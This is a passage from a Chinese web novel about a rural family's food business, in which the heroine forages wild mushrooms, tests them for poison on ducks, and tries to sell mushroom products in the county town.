刘慧兰手脚麻利把锅里温的菜一样一样端到大圆桌上:“饿了罢,快来开饭啦!” 翠翠委屈的抱着四把火把,跟在刘青青屁股后面:“二姐,你怎么才回来,我等你们一起抬火把呢!” 刘青青洗了把脸,顺手把毛巾递给郭守云,他也不嫌弃,就着一盆水洗去一路风尘和奔波。 刘青青捏了捏翠翠鼓起来的小脸:“知道啦知道啦!” 一家子有说有笑围坐在大圆桌上。 衙门里宰牛的时候,刘青青找史居正弄了一块肥瘦相间,约摸三公斤重的牛肉,还饶了一块牛骨,从县城里的冰铺里买了冰冻起来,打发郭守云送了回来。 桌子上满满一桌菜,最让她惊诧的便是肥牛卷,想不到阿姊竟然做出了她要的效果。 大骨头熬煮了一整天,油脂骨髓全部溶到了雪白的汤里,添加长长的酸菜,辣辣的黄姜,白色大蒜,翠绿的芫荽等,下面架上炭 火,淡黄色的牛骨汤咕嘟咕嘟的冒着泡泡,散发出又酸又辣的浓香。 而肥牛肉被刘慧兰切成片盘成卷整齐码在绿色的生菜叶上,还有红得流油的蒸咸鸭蛋,考得焦脆的鸭子,脆生生焦黄的蚂蚱干,韭菜鸡蛋饼,卤毛豆。 刘慧兰每人倒了一杯甜甜的豆浆,刘有山端起自己的米酒,意气风发做了开饭前的发言:“我们家越过越好,是全家人一起努力的结果,大家辛苦啦!来,干杯!” 苏氏掐了他一把:“你少喝些!” 扭过头夹了鸭腿放到刘青青和郭守云的碗里:“特别是青青和阿云,你们这些日子来回奔波,快多吃些!” 她为什么深更半夜还要跑回家,这便是答案,因为家里有阿爹阿娘、阿姊、阿妹,所有人都在等着她们。 刘青青把金黄色的鸭腿给翠翠,端起肥牛肉的盘子让大家夹:“我们大家都辛苦,大家都为这个家过得更好努力!来,我们一起吃!” 每人夹起一片薄薄的肥牛肉,伸到锅里从一数到十,便把牛肉捞起来。 肥瘦相间的薄牛肉被滚烫的酸汤一煮,从鲜红色变成咖啡色,入口又嫩又滑,中和酸汤的酸,黄姜的辣,花椒的麻,不同层次的味道在口腔里爆发,让人大汗淋漓,浑身舒畅。 刘有山感叹:“不愧是牛肉,确实好吃!” 苏氏笑道:“我跟了你十多年,今日头一次吃到牛肉,还是靠我几个闺女!所以说,还是闺女好!” 刘有山:“这话说得,我可从来没说闺女不好。再说,没有我,你哪来的闺女啊!” 刘慧兰微笑着听着,不时添菜到锅里煮。 阿云仔细啃完鸭腿,尝了一口牛肉后,爱上了这个味道,却有些讨厌里头的花椒,正专心的一颗一颗挑走花椒,自己吃一块,放一块到青青碗里。 一家人一边吃一边嘻嘻哈哈斗嘴,翠翠悄摸摸把鸭腿藏了一个到袖子里,伸到桌子下给两小只。 小机灵鬼!还以为大家不知道呢,其实都装作没看见。 刘青青小口小口喝着浓浓的甜豆浆,觉着,这才是生活的味道。 吃完饭,苏氏和刘有山收拾桌子,将她们推出去:“行啦行啦,你们快去抬火把,夜深露重,去后院走一圈意思意思。” 刘慧兰面上挂着腼腆:“我就不用了罢!” 刘有山板着脸,将火把点燃塞到她手心里:“胡说,你们都是小孩,快去!” 四人从高到矮,后面跟了吃饱喝足的两小只,抬着火把顺着后院池塘巡视了一圈,即将燃尽的火把放在院门口,苏氏走上前,拿了个小锄头在抓:“一抓抓回家,我家蕙兰快回家!蕙兰,回来没?” 刘慧兰脆脆道:“阿娘,回来啦!” “二抓抓进门,我家青青快进门!青青,进门了没?” 刘青青笑笑:“阿娘,进门拉!” “三抓抓入屋,我家阿云快入屋!阿云,入屋了没?” 郭守云清朗的声音传来:“阿娘,入屋了!” 刘青青挑挑眉,笑着看了他一眼,他终于融入了这个家,之前他都是称呼刘有山和苏氏您,现在叫阿娘。 苏氏忙着继续为孩子们招魂:“四抓抓入怀,我们家翠翠进阿娘的怀,翠翠进了没?” 翠翠奶声奶气抱着苏氏:“阿娘,我抱着拉!” 苏氏把她推给蕙兰抱着,从几个孩子手腕上剪下端午节带上的彩绳,放到火把的余烬上烧灭:“我们一家都到啦,火神大人赐祝福,全家平平安安,全家长长久久!” 众人看着彩色的绳索在橘黄的火苗里烧化,虔诚的对着火把跪拜。 祝全家平平安安万事兴隆。 六月三十,刘鑫和赵垚联袂而至。他们捧着账本来找刘青青对账。 许是年轻,刘青青每日在家吃了睡,睡了吃,领着两小只和翠翠撵鸭子逗兔子作乐。修养了这几天后,脸颊圆了些,也恢复了精神,几人搬了小板凳,坐在葡萄架下,一一核算。 刘鑫啧了一声:“你们家这宅子是风水宝地吧,葡萄都比我们家的大一倍!” 刘有山乐呵呵:“可不是嘛,自从搬过来后,家里日子一天比一天顺畅!” 算账的刘青青:“!” 明明是她的小水枪的功劳。 她放下本子,汇总了个数字:“共卖出强身粉16000罐,蚂蚱酱1万瓶,蚂蚱干1万2千瓶,销售额1582两。” “一公斤活蚂蚱可得二两干蚂蚱,收购活蚂蚱35200公斤,费用176两银,采买大米黄豆白糖盐巴桂花等,359两,聘请人工36两,竹筒费30两,运费48两,盖作坊47两,租铺面15两,净利润871两!” 作坊里存货三千多罐,够卖完这个月,还能回本150两左右。 几人呼吸急促了起来,才一个月的时间吧,他们就赚了这么多银子。 苏氏劝道:“是不是把钱分了,先把衙门的钱还掉?” 房契地契还在衙门抵押,她这心总觉得空荡荡的,不踏实。 刘青青笑道:“阿娘,我们签了一年的契约,现在还,和明年还,利息一样” 开玩笑,她正嫌弃本钱不够用呢。 这次磨粉,全靠大青驴,你没看到,即便每天喂面粉菜叶,大青驴都累瘦了一圈。而且租借马车的运费太贵,不划算,她准备买一辆马车,自己运货,驴车实在太慢。 刘青青把账本摆出来,抱出一匣子的银子,在太阳下闪闪发光:“你们是要红利呢,还是继续投?我好给你们结账。” 刘鑫恋恋不舍的摸了摸钱匣:“接下来干什么,我跟着干!” 赵垚笑得嘴裂到腮帮子,他的二十两,变成四十两拉! “家里不等着用钱,我们继续干,你有什么点子,只管放手,赔了我不怨人。” 刘青青嗯了一声:“是有点想法,还不成熟!我说出来大家一起讨论讨论!” “我决定卖菌子!” 刘有山差点从板凳上摔下来:“不行,菌子有毒,把人毒死了,要吃官司!” 刘鑫也劝道:“青青啊,这蚂蚱最多恶心点,但吃不死人。菌子不行,我们村子里有吃菌子死人的先例嘞!” 第60章 第60章进山 面对众人的反对,刘青青淡然解释道:“人一上百,千奇百怪,那些杀人放火的,还不是披着人的皮。菌子种类繁多,没毒的,有毒的,形形色色,不是正常的么?” “我们挑着没毒的吃,就可以啦!” 刘鑫面色古怪:“要是中了毒,悔之晚矣!”命都不在了,哪来的后悔哦。 “再说,不就几朵菌子,又不是肉,有什么好吃的!” 刘青青挑挑眉,有什么好吃的! 她没多言,等做好了,希望有些人不要流口水。 她豪放的指着后院池塘里悠哉戏水的鸭子:“没事,我们家鸭子多,用鸭子试毒,如何?” 众人从全方位劝说她,刘青青都无动于衷。 总能角度刁钻的怼回去。 “菌子有毒!” “我们用鸭子试毒,确定无毒的才吃!” “菌子没人吃!” “蚂蚱也没人吃,自从我做了后,就有人吃了!” “菌子娇嫩,不适合运到城里!” “这算什么问题,菌子干,菌子粉,菌子酱,选择多得很哩!” …… 刘青青舌战群雄,怼得所有人哑口无声。 刘有山灌了杯水,叹了口气:“嗨,你这孩子,就不听劝,等你吃亏了,你便知道厉害!”反正他拒绝吃菌子。 前年打猎在山里迷了路,干粮吃完,采了点菌子吃,上吐下泻,差点没死在林子里,全靠队友们驮着他出山。当时抽痛的胃,打摆子的腿让他留下了一辈子的阴影,他发誓,饿死也不碰菌子。 := 刘青青笑笑,对他们的剧烈反对视而不见,有些人哪,一旦吃过一次后,就晓得口嫌体正怎么写啦。 地里的棉花冒出了花蕾,刘青青收拾剪刀,叫上郭守云,刘慧兰一起去地里打枝。 刘鑫奇道:“什么,还要打枝,废了老鼻子劲弄来的种子,像伺候祖宗伺候长这么高,竟然要打枝!” 伺候祖宗一点都不夸张,地里野草一冒尖就被他爹拔掉,隔三差五喊着他把牲口粪拉到地里施肥,他爹就差住在地里头,和这些棉花睡了。 刘青青解释:“必须打掉顶枝,若不打枝,它往高处长,没力气结果子啦!” 她指着绿油油大如豆子的葡萄:“你看,我们家葡萄为什么大,就是因为在它开花的时候,我减掉一些枝丫,让它的养分集中供应在剩下的这些葡萄上,所以长得又大又好!” 刘鑫想想自己家如蚂蚁大小的葡萄,一想是这个道理,棉花大差不离。只是因为种子过于珍贵,棉花价格高昂,让他爹这几十年的种田老手,畏畏缩缩。 刘青青脑子一转便明白了,笑道:“走呗,我们一起去打枝!” 特意去和张婶,罗婶等说了一遍。当时她们信任,跟着他家一起种棉花,不能让人家白劳作一年。 果然,打了顶枝的棉花,不再往高处长,旁枝长得更繁茂。绿色的枝叶上,挂着密密麻麻的花苞。 刘青青仔细检查每一朵花苞,并没有发现棉铃虫的痕迹,舒了口气。 她已经发现,小水枪能提高种子的发芽率,还能改变植株的性状,他们家的葡萄就是例子,其实就是普通的葡萄,在她日日夜夜的浇灌下,已经有了质的变化,不晓得成熟的时候,能长成什么样子。 所以,她家的棉花自带抗虫效果,她一点也不意外。 花费了好几日的功夫,才把棉花田,花生田料理清楚,拔草增肥,每一样都是体力活,这还是有张婶他们帮忙呢。 家里的主要劳动力便是刘慧兰郭守云和她三个人,几天下来,腰酸背疼,带着帽子都要晒退一层皮。 阿娘和阿爹有心无力,只能帮着做家务搞后勤,翠翠岁数太小,做那点活计,像玩儿一样。 这么,张婶拉着她叙家常:“赵峰时常在家里念叨,阿云读书突然开了窍,你应该让他在家多读书,不要耽搁了,将来考个功名,你们一家子都享福。这点子活计,我们帮着一起便做掉了!” 刘青青摇头:“婶子,怎好次次麻烦你们。” 而且,刘青青打心眼里觉得读书没什么了不起,凭什么就不干活啊。 她们家只要能动的,没有一个闲人。阿爹阿娘除了在村学里上课,回家也要做家务。翠翠五岁不到呢,还每天跟着来地里拔草,阿云也是一样,不能说因为读书就搞特殊。 她笑道:“不过,你的话也提醒了我,我们家应该换个思路。”她们家缺壮劳力,可是别人家不缺啊,她完全可以雇佣长工来帮忙干活,免得把她累坏了,以后长不高,宝宝才十岁呢。 苏氏刘有山看着几个孩子晒得黑黑的模样,早就心疼内疚不已,全力支持请长工。 经过全家的考察,请了村子里刘七房的小夫妻,男的刘满仓,今年二十三,媳妇赵谷丰。两人养了三个娃,家里粮食不够吃,到处招揽活计,都是踏实肯干的性子。 刘家与刘满仓说好,地里的活计归他,家里的活计给赵谷丰,一个月合计一两八的工钱。 赵谷丰对苏氏感激涕零,丈夫是七房的二子,七房兄弟多,分家得的那点田地,根本不够一家子吃喝。偏偏男人是个木讷踏实的性子,老黄牛一个,只会埋头干活不会说,找零工都找不到。 老娘被兄弟慢待,被她接来一起过活,顺便帮忙照看孩子,她才能腾出空子找些活计,外面的活计太重,她吃不消,刘家的活计,算是为他们量身打造的。 一个月一两八的工钱,还就在村子里,打着灯笼都难找。 赵谷丰是个瘦小能干的妇人,勤快知恩图报,说定后便把刘家的家务拦了过来,洗衣打扫卫生喂牲口,料理得妥妥当当,做完刘家的,才回自己家做自家的活计。 刘满仓天天到地里转悠,今日拔草,明日施肥,不晓得的还以为那是他家的田地。 苏氏和刘有山坚决用他们在村学的工钱付长工钱,将余下的二百文钱交给刘慧兰,干脆利索的当个甩手掌柜,打趣刘青青道:“以后阿爹阿娘就靠你们养着啦!” 是的,刘慧兰以后只用做饭就行,本来赵谷丰也要包揽的,但刘慧兰喜欢做饭,喜欢把一样样的食材组合在一起,变成不同的味道,投喂到爹娘妹妹们的肚子里,看着桌子上的光盘,她有一种异样的满足。左右阿爹阿娘去村学上课,家里由她料理。 刘青青把家里事务安置好,下了一场雨后,背着背篓喊郭守云进了山。 雨后的森林充满了水汽,不少地方起了雾,这样湿哒哒的天气其实不适合进山,但是,雨后的山中,遍地都是菌子。 经过刘青青坚持不懈的喂养熟食,郭守云的训练,棉花和黑炭已经半大,嘴里长出了利牙。 碰见兔子一嘴咬断脖子后,搬到刘青青面前邀功,不会自己啃,没有发生过攻击人的情况。成了两只优秀的猎狼狗,刘有山睁一只眼闭一只眼,不提把它们送走的话。 两只逐渐强壮听话的小狼狗,可以陪伴保护喜欢出门乱转的刘青青和郭守云。 这不,棉花黑炭在森林里撒欢的到处乱钻,不时弄一身露水,跑到郭守云面前甩头。 面对两小只一如既往的区别对待,郭守云也很迷惑,不明白为什么,兔子就是刘青青的,水就是他的。 刘青青一边咯咯笑骂棉花黑炭淘气,塞了两块肉干到它们嘴里,一边拿出帕子细细的帮他擦掉脸上的露水:“你别生气,棉花黑炭和你玩呢!” 郭守云睥睨着她:“??!!!” 是的,经过他不懈努力的干饭,他现在比刘青青高半个头,可以光明正大俯视刘青青。 你管这样叫玩,这叫捉弄! 要不是她每次护着,他早就把两小只吊起来打了。 好吧,嘴里被塞了一块麦芽糖的郭守云收起炸开的毛,冷厉的眼角变得温和,他无奈的拍拍手,唤来两小只:“我们来干活呢,别玩啦!” 郭守云左右看了看,走了几步,从松树根下凸起的松毛里,扒拉出一朵绿色帽子的菌子,举到两小只面前:“诺,找这种菌子,找到有奖!” 他之前生活在森林中,观察动物们的习惯,知道这种菌子没有毒,生吃没关系。 他对刘青青说卖菌子不抵触,不过不明白,菌子有什么好吃的,难道比肉还好吃? 左右不管她要做什么,他都支持。 刘青青大喜,他捡的菌子叫青头菌,是一种鲜嫩无毒的蘑菇,伞冒是淡绿色的,犹如翡翠,伞柄雪白,带着一股淡淡的清香。 这种菌子喜欢呼朋引伴一起生长,果然,顺着那棵大松树仔细扒拉了一圈,又找到三朵半开的青头菌,刘青青捧着肥肥胖胖的菌子,笑得差点把口水滴下来。 她那欢喜的样子,比卖蚂蚱粉赚了钱还开心,郭守玉嘴角微微上扬,认真的帮着找菌子。 最厉害的还是棉花和黑炭,得了一块肉干后,两小只神出鬼没,每次跑回来,嘴里都叼着一朵青头菌。 不过大半个时辰,只在森林的外围转悠,两人两狼竟然捡了一小背篓青头菌,刘青青好后悔,为什么不把大青驴牵来驮菌子。 背着满当当的背篓往回走,她还看见了见手青,牛肝菌,可惜背篓已经放不下,而且那些生食有毒,她只好痛心疾首,恋恋不舍像割了肉一样,闷头出了山! 她怕一个迟疑,便舍不得走!要知道,天黑后,森林有熊出没的!【你现在阅读的是 】 60-70 第61章 第61章试验 刘青青换了套干爽的衣服,把背篓里的青头菌,一朵一朵削去伞把根上的泥,轻手轻脚放到大木盆里,倒进井水浸泡,从南瓜藤上摘了两片老老的瓜叶。 稍微一泡,青头菌上沾染的松叶杂草,被瓜叶轻轻的刷掉,露出干净浅绿的伞菇,洁白如雪的伞把,一朵朵肥嘟嘟水嫩嫩的,是大森林里的小精灵。 洗干净后的青头菌,撕成片状,放在小盆里备用。 刘慧兰按她的吩咐,从后院逮了一只线鸡,宰杀后砍块熬煮,锅里咕嘟咕嘟沸腾着,冒出了淡淡的香气。 线鸡是公鸡在小的时候,便把gaowan用线割掉。 长大后的线鸡羽毛艳丽多彩,比公鸡还要夺目,但不会长鸡冠子,能像鸟那样腾空扑腾二三丈,刘慧兰废了好大的功夫,用了网才抓到一只。单独清汤炖煮都是一道难得的美味。 菌子收拾好后,刘青青端着盆打算把菌子撒进锅里,苏氏心疼得直叫唤:“用一半鸡炖吧!”万一有毒,还能吃一半鸡呢。 家里生活改善,顿顿饭有肉吃,但她还是舍不得那锅线鸡汤,金黄色的汤汁,浓厚香醇,比 往年的鸡要香许多,肉块更是弹韧紧实滑嫩。 刘青青看了一眼锅里,连肉带汤占了半锅,家里才六个人,万一吃不完,确实浪费。用大碗舀走一半,才洒下菌子。 然后剥了半小碗蒜米也丢了进去。 刘慧兰穿着围裙,眼巴巴的看着:“接下来要干什么?”步骤太简单,让她有些不适应。 刘青青哦了一声:“还要盐巴。” 从盐罐里舀了一勺白盐放进去,用锅铲子拌开。 不一会,锅里重新沸腾起来,一种奇异的浓香随着沸腾的蒸汽充满了厨房,顺着门往外飘,回荡在刘家小院的上空。 大老远刘有山就喊着:“慧兰哪,今儿又做了啥,快给我添一碗!” 郭守云和两小只也从后院转悠到厨房口,不时探个头。 翠翠早就拿着把勺子,探头探脑要从锅里捞,被刘慧兰拉住。 刘青青抿嘴一笑,吩咐郭守云:“阿云,逮一只鸭子来,试毒!” 大白鸭子被郭守云钳制,不甘的乱叫扑腾,放到葡萄架下时,还朝着郭守云嘎嘎几声,压低身子伸长脖子,准备去啄他。半路看到放在地上的小盘子,左摇右摆掉头扑到盘子里,橙色的嘴巴不住的往盘子里嗦。 若鸭子有手,恐怕早就把盆子端起来喝了。 诺,因为鸭子嘴巴扁,盘子里只剩最后一块煮熟的菌菇它啄不起来,焦急暴躁的围着盘子转圈圈。 得,刘青青好人做到底,端起盘子喂到它嘴巴里,鸭子囫囵吞下去,歪着头绿豆大的眼睛骨碌碌的盯着刘青青,“嘎?” 这一瞬间,虽然鸭子不会说话,但大家都晓得它的意思:“没有了么?” 大家闻着锅里霸道的香气,眼巴巴看着鸭子在院子里左寻寻,右找找,精神抖擞,甚至还记得报仇,巴巴跑到郭守云面前拉了一滩粑粑,嘎一声左摇右摆跑掉。 郭守云面无表情换了个地方站,他已经习惯了这种心塞的日子。 刘慧兰笑笑,手脚麻利打扫干净:“家里的牲口都喜欢阿云!” 等了半响,鸭子见众人不理会它,胆子越发肥,竟然试着垫着脚巴掌啄葡萄架上的葡萄吃! 刘有山试探道:“应该没事吧!”他实在等不及了,锅里的香味实在霸道,口水都躺了一地, 刘青青笑道:“自然没事,若有事,鸭子早就睡下来,哪能像现在,活蹦乱跳。” 为了感激鸭子作出的贡献,刘青青摘了一颗葡萄塞到它嘴巴里。 鸭子欣喜的咽下,却被酸得直哆嗦脖子,呆愣在原地,成了名副其实的呆头鸭。 郭守云嫌弃它随地大小便,寻了个筐将它罩在院子一角关黑屋子,他这是为了观察试毒鸭子的后续状态,绝对不会承认是公报私仇。 一家子围坐在大圆桌旁,金黄色的鸡汤里飘着淡白色的菌子,每人添了一碗,刘青青不管其他人,顾不得烫,自己先尝了一片。 菌子才入口,脆香嫩滑,奇异的融合在一种食物中。仿佛置身于雨后的森林中,身边全是清新的空气。 青头菌自带勾芡效果,将鸡汤变得浓厚香醇润滑,是一种终身难忘的味道。 之前信誓旦旦不吃菌子的刘有山,嘻哈嘻哈干了两大碗,对,他发过誓不吃菌子,但这不是菌子,是熟菌子啊! 郭守云眯着眼,青头菌汤泡饭,读书的疲惫,在这一刻全部散去:“做人真好!” 担心吃不完的苏氏,颠颠把另外一半鸡汤倒进锅里,端起盆里洗干净的菌子,开始煮第二锅。 刘青青重新开启了话题:“我打算卖菌子呢!” 刘有山打了个饱嗝:“好,我支持!” 他白活了三十多年,天天踩着菌子过,才发现错失了什么样的美味。 刘慧兰笑道:“确实美味,可是山上遍地都是,有人愿意买么?” 刘青青正色道:“不仅美味,菌子还能补身。”菌子本身富含各种氨基酸,微量元素才能如此美味,对人体特别好。 刘青青道:“我们先收集一批菌子,看看情况再说!” 刘家立马行动了起来,刘有山到村学里宣布,刘家明天收买各种菌子,只要从山上捡来的,不论有毒的,还是无毒的,都收,到时候按菌子种类算钱。 有空的人,可以上山捡菌子回来卖,当然,要注意安全。请在外围捡,不要去深山,免得迷路或遇到野兽袭击。 清水沟瞬间炸了锅,上个月刘家收蚂蚱,他们跟着,少的赚了百多文,多的赚了一两银,家家户户火把节舍得买一块肉回来改善伙食,嘴里还回味着炖肉的味道,刘家竟然又开始收菌子。 多年前肚子吃不饱,有人尝试吃菌子,死过人,大家都不敢再犯险,现在刘家既然说收买菌子,田地里也没有活计,家家户户成群结队上山捡菌子。 大山里到处都是,这是刘家变着法让他们赚钱呢。 其实哪些菌子有毒,刘青青心里有底,但怕有个万一,还是把能寻来的菌子都试一遍毒,这个事情交给了郭守云,后院的鸭子随意他采用。 郭守云为了做对照实验,从街上定了五百只笼子,整齐的排在后院,每一只笼子里都清楚的记录这只鸭子的身高体重,颜色等,方便与吃了菌子后作对照。 因为此事关系后面一系列的问题,刘青青稳妥起见,去县城里请了姜老大夫到家,亲自坐镇。 一切准备就绪,村民们采来了大量的菌菇到刘青青家。 不出所料,人多力量大,每家每户至少三背篓的菌子,所有的菌子品种繁多,千奇百怪。 除了他们已经吃过的青头菌,还有牛肝菌,见手青,干巴菌,白葱菌,虎掌菌,皮条菌,松茸,鹅膏菌等。 有毒的无毒的混在一起,刘青青为减少工作量,让大家伙自己分好类,按照种类上称付钱。 她做了明确的说明,不能混搭,若混在一起,以后不再收买他家的菌子。 这样一来,刘青青以最快的速度,集齐了清水沟村后山所有菌子的品种。 洗干净分锅煮熟后,喂食鸭子,为安全起见,五天为一个观察期。 这样,牺牲掉十六只鸭子,选出了第一轮煮熟后无毒的菌子:青头菌,牛肝菌,干巴菌,松茸菌,鸡枞菌,扩松菌,羊肚菌,鸡油菌,胭脂红,松露,竹荪,奶浆菌,铜绿菌,扫把菌,苦李菌等。 也找出了致命菌子;鹅膏菌,其中又分黄罗盖,白罗盖,环柄盖等,具含有致命毒素,半朵毙命。 致幻菌子:裸盖菌。 说来好笑,吃了一朵裸盖菌的鸭子,狂躁的踹翻笼子,去单挑大青驴。 两朵裸盖菌的鸭子,走路和醉酒一样,左摇右晃,而喂了三朵后,倒在地上,再也没能爬起来。 第二轮便烤,烤熟后对照选出无毒的菌子,排除有毒的。 经过种种试验,最后确定了安全、口感上佳的菌子:青头菌,牛肝菌,干巴菌,松茸,鸡枞,羊肚菌,铜绿菌,黑松露,其中青头菌松茸生吃也无碍。 牛肝菌中,见手青口感最好,但若不熟也会出现幻觉,严重的上吐下泻,消化道出血而死。 刘青青看着郭守云记录得满满的小本子,仔细的收好,这全是鸭子舍己为人换来的珍贵资料。 这天,紧闭大门六天的刘家,再次打开,告诉了村民们试毒的结果,和以后收购的菌子种类:青头菌,牛肝菌,干巴菌,松茸,鸡枞,羊肚菌,铜绿菌,黑松露,分别以二十文每公斤收购,剧毒鹅膏菌以十文每公斤的价格收购,口感不好遍地都是的扩松菌,以一文每公斤的价格收购。 村民们不解:“你家收购没毒的菌子我们理解,还收剧毒的菌子,是什么道理?” 这时候大家都淳朴 ,怕他们家拿毒菌子药人,他们一个村子的,要受到连坐。 刘青青解释:“就是因为剧毒,才收购,由衙门的大夫统一销毁,免得它们明年长得更多!” 菌子之间也有竞争,你把能吃的菌子采完,毒菌子可不就漫山遍野长了么?明年还采啥! 毒菌子其实也有用处,只不过时机不到,她没提。 这样,全村子的村民像过节一样,上山捡菌子,笑话,二十文一斤,比逮蚂蚱还划算,不捡是傻子。 刘青青忙得脚不沾地,蚂蚱作坊需要改建。 第62章 第62章一鼻子灰 试毒期间,刘青青请人施工建造了烤房,炸房。 顾名思义,烤房是纯石板建造的房子,地面铺设地龙,四周有排气孔,通过在外面加热,热气顺着地面铺设的管道,将烤房里的空气加热,把悬空在铁丝网上的菌子烘干。 这样烘干的菌子,比起太阳晒的,形状颜色保持得更好,而且不受天气的影响。 菌子不能流通的一个根本原因,一个是怕中毒,二来是不能久存,因为富含各种营养成分,没有冰箱的时代,采回来的菌子最多两天就开始腐败,生虫长蝇。 从村民们那里收购来的菌子,流水一般分成两拨,还没张开菌伞的菇子进了烤房,烤干后包装成盒。 菌伞撑开的菌子,分类别配上不同的佐料,油锅煎炸成一罐一罐的菌子酱,等待销售。 仍旧分为收购部和加工部,因为刘有山对菌子更熟悉,刘鑫刘有山共同负责收购,刘慧兰掌控加工部,刘青青负责销售。 刘青青要求每一锅油炸的菌子,都要给鸭子试毒,在罐子上留下了批号,存根留档。 家里生产走上正轨,刘青青送姜老大夫回县城。 其实,姜老大夫不愿意走,他一点也不想回城。 这几日,刘慧兰忙碌,随意从筐中捡几样菌子做饭,什么干炒见手青,鸡枞肉丝汤,芹菜干巴菌,凉拌松茸,都是才从山上采下来的新鲜菌子,随意加工一下,鲜美得他后悔才长了一张嘴。 刘青青劝道:“独乐乐不如众乐乐,这样好味道的菌子,你不分享给你那些老朋友们啊?” 姜老大夫一想也是,他们这一伙饕餮,谁要寻到了新鲜美味的东西,必定在聚会的时候,显摆一番,每次都是别人炫耀,他干巴巴的坐着听,这次总算轮到他了! 打定主意便去收拾包袱。 手舞足蹈让刘青青多带一些新鲜的菌子。 要他说,烘干的菌子,泡发后确实也好吃,但比起新鲜的,还差了点味道。 刘青青收拾了十多框菌菇和菌子酱,搭着姜老大夫的马车进城,陪同的还有郭守云和黑炭棉花。 在小叔家安顿好以后,两人来到青华专卖店。 店里一个人也没有,江氏拿着抹布这里擦擦,那里抹抹,货架上的菌子干和菌子酱,整整齐齐,满满当当。 看到他们来,江氏把抹布一扔,拉着刘青青吐苦水:“阿青哪,客人上门都是买蚂蚱粉,只有一百多罐存货了,菌子干菌子酱没人买,要不再做点蚂蚱粉?” 野外的蚂蚱都被逮完,去哪里逮哦! 这是个问题! 刘青青想了想,提着一篮子菌子,领着郭守云,一家酒楼一家酒楼的上门推销,俗称扫街。 “什么,你们家做的菌子,谁不知道,吃菌子会死人,快说,你们是哪个仇家派来的?” “这么点菌子,又不是肉,竟然要六十文一公斤,比肉还贵,你们干脆去抢好了,便宜点,十文钱一公斤,如何?” “什么,放点菌子的油,就要三十文一罐,油铺里十文一罐,你们这是掺了龙肉么,黑心。五文钱一罐,我们帮你买一百罐!” “啧,我们卖红烧肉不好么,哪个客人来酒楼里吃素菜啊,真是脑壳有病。赶紧走,莫要耽搁我们做生意!” …… 一天忙下来,菌子没卖出去,反而碰了一鼻子灰,刘青青有些丧气,没精打采瘫在椅子上。 郭守云倒了杯热水给她,不动声色揉了揉,因提篮子发酸的手臂,安慰:“不着急,我们明日又去!”不论刮风下雨,还是冷言冷语,只要她想做什么,他都陪着。 他心里其实有些沮丧,只能帮着提篮子,却帮不上半点忙。上次卖蚂蚱粉就是这样,缩在她后面,看着她一个人殚精竭力,迎接风雨,这种感觉很不好。 他不想躲在她身后,他想替她做点什么。 顿了顿,他鼓起勇气道:“明日你在小叔家歇着,我一个人去街上卖!”今日他跟在后面一天,刘青青那些卖菌子的话,他默默的背了下来。 好似为了证明自己能行,他一句一句复述: “我们家的菌子经过动物试验,八道工序精挑细选,保证没有毒!” “菌子是我们冒着危险,在大山深处从野兽嘴边抢回来的,每一朵集日月精华,滋阴补阳,全是精品,价格不能少。” “肉有肉的味道,菌子有菌子味道,各有所长!” “我们的菌子酱全是上好的菌子,按照宫廷流出的秘方,配比合适的佐料油炸出来,味道鲜美易保存,是居家旅行的必备佳品!” …… 他已经很努力了,但由于说话习惯,重音不在合适的位置,再加上僵硬的微笑,让人觉得有些古怪。 刘青青心里热乎乎的,拍拍他:“真棒!你都能上街卖东西了呢!不过,我不累,明儿我们一起去。” 阿云讨厌和陌生人交流,他竟能把推销词背熟,主动请缨上街,刘青青感觉,自己不能再垂头丧气的了。 吐完黑泥,开始研究卖不出去的原因:“大些的酒楼,觉得菌子有毒,不愿意冒风险尝试,小些的酒楼愿意尝试,但嫌弃价格贵,不要命的压价。 这是趁火打劫!” “但没有酒楼饭店说,我们的菌子不好吃,说明什么?说明我们的菌子味道很好,应该会受到食客的欢迎。” 宝珠儿捧着脸,小口小口嗦着放了鸡枞油的木薯凉皮,塞得脸颊鼓鼓的,口齿不清道:“对,菌子真好吃。要不,我们像上次一样,自己摆个摊子现卖呗!” 放了鸡枞油的凉皮,和之前完全两个味道,之前的木薯凉皮叫好吃的话,现在就是美味。 她想请小伙伴们一起来吃放了鸡枞油的凉皮,还有菌子酱拌饭,比她们吹嘘的酱油拌饭稀奇上天。 方氏一面折着银色、黄色的纸钱,一面教训宝珠儿:“你这个小丫头,一天乱出主意,包粽子和菌子能相比么,菌子必须有锅有灶,专门的厨房,煎炸炒煮烹饪,不像粽子那样,蒸就完了。” 宝珠儿小大人一样深深叹口气:“要是我们家不是开油铺,是开酒楼就好咯!” 这句话提醒了刘青青,既然没有酒楼愿意卖他们家的菌子,他们自己开一家酒楼就能解决这个问题。 刘青青说干就干,拉着郭守云立马上街寻牙行租酒楼。 牙行的小丫头听说他们要租酒楼,将他们引入了贵宾室,好茶好果子流水一般摆上来。 不一会掌柜掀帘子进来,看见他们眼底闪过惊诧,单手拱拳笑道:“喂哟,两位小姐公子真是年少有为!” “鄙人徐良,不知道两位贵姓?” 刘青青扫一眼他空荡荡的左袖,面色如常笑道:“徐伯,我叫刘青青,这是郭守云!” 徐良诧异:“你们不是兄妹?” 刘青青尴尬的笑笑:“不是!”至于什么关系,她没说。 徐良没追问,眼神微闪看了一眼郭守云,笑道:“正好,我这里有好几个酒楼要转让,我带你们去看看?” 三人上了牙行的马车,有说有笑。 一连看了好几家,要么破破旧旧,要么位置偏僻,刘青青实在看不上眼,她笑道:“徐伯伯,就没有位置好,不破旧的么?” 徐良敲了敲脑袋 :“倒是有一家,就在美食街上,是秦家的房子。位置好,八成新,就是主人着急出手,只卖不租。” 刘青青眼前一亮:“那你等什么,快带我们去看看啊!” 几人坐着马车来到美食街,中间繁华地段有一幢三间铺面的二层酒楼,青砖白墙,八层新。门外就是美食街主街,人来人往,是个热闹的所在。 街上热闹非凡,这酒楼却大门紧闭,不晓得是什么缘故。 刘青青挑眉看着徐良。 徐良不卖关子,喝了口水徐徐道来:“这是秦家的产业!” 那个秦家! 刘青青和郭守云对视一眼,这天下真是巧妙,大房的刘巧儿给了秦家做童养媳,没想到在这里听到大房的消息。 徐良点点头:“对,就是惹得县城姑娘都讨厌的那个秦家,秦家小子摔了一跤,磕到头死了!” 刘青青差点把茶水喷出来,这个祸害竟然意外身死,之前那几个姑娘也可以瞑目了,真是报应不爽。 哟,宋老太是不是又可以把刘巧儿再卖一次。 吃瓜切忌让人唱独角戏,刘青青觉得自己必须说点什么应和,干巴巴道:“秦家香火这次算是断了!” 